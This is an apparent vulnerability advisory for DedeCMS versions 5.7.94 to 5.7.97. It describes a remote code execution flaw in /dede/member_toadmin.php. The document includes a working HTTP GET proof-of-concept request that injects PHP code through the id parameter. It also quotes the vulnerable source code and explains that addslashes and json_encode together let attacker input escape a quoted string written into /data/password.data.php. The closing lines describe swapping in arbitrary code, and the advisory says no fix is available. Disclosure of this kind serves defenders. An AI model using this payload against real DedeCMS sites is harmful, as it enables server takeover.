Dedecms has remote code execution

- Affected product: Dedecms V5.7.94 - V5.7.97
- Attack type: Remote
- Affected component: /dede/member_toadmin.php
- Description: DedeCMS v5.7.94 was discovered to contain a remote code execution vulnerability in member_toadmin.php.
- Vendor confirmed or acknowledged: Confirmed
- Fix information: Not available

POC

```
GET /dede/member_toadmin.php?id=%27.phpinfo();?
%3E&typeids=1&dopost=toadmin&safecode=3373702420f2a357b12e6bc4&randcode=13967
HTTP/1.1
Host: www.dedecms5794.com
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=lteb30kl960vhad3q6k4psjok4;
_csrf_name_96c0ebe6=f97c33dd6471fdad17230e95a4bb1629;
_csrf_name_96c0ebe61BH21ANI1AGD297L1FF21LN02BGE1DNG=c93476e2cd70eacb
Connection: close
```

Details

DedeCMS v5.7.94 added the periodic password change reminder function to the file `/dede/member_toadmin.php` to comply with relevant web security regulations.

```
// Regular password change reminders
$arr_password = array();
$filename = DEDEDATA . '/password.data.php';
if (file_exists($filename)) {
    require_once(DEDEDATA . '/password.data.php');
    $arr_password = json_decode($str_password, true);
}

$timestamp = time();
$arr_password[$id] = "{$timestamp}";
$content = "<?php\r\n\$str_password='" . json_encode($arr_password) . "';";

$fp = fopen($filename, 'w') or die("写入文件 $filename 失败，请检查权限！");
fwrite($fp, $content);
fclose($fp);
```

When the input id is `'`, the variable `$id` is assigned the value `\'` by function `_RunMagicQuotes` in the file `/include/common.inc.php`.

```
function _RunMagicQuotes(&$svar) {
    if (!get_magic_quotes_gpc()) {
        if (is_array($svar)) {
            foreach ($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        } else {
            if (strlen($svar) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COO
                exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

foreach (array('_GET', '_POST', '_COOKIE') as $_request) {
    foreach ($$_request as $_k => $_v) {
        if ($_k == 'nvarname') ${$_k} = $_v;
        else ${$_k} = _RunMagicQuotes($_v);
    }
}
```

When `$arr_password` with `$id` is written to the file `/data/password.data.php`, function `json_encode` encodes `$id` from `\'` to `\\'`, which causes escaping single quote.

Therefore, the attacker only needs to input id with `'.` followed by the codes he wishes to execute and configure the parameters (`typeids`, `dopost`, `safecode` and `randcode`) to write codes to the file `/data/password.data.php` and cause remote code execution.